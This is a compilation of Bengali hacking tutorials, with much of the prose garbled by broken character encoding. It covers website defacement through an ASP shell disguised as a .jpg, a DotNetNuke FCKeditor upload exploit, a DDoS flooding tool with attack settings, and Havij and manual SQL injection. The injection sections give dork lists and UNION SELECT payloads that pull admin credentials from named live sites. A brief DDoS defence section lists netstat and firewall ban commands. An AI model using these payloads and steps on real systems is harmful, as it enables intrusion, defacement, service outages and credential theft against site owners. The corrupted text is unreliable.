অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
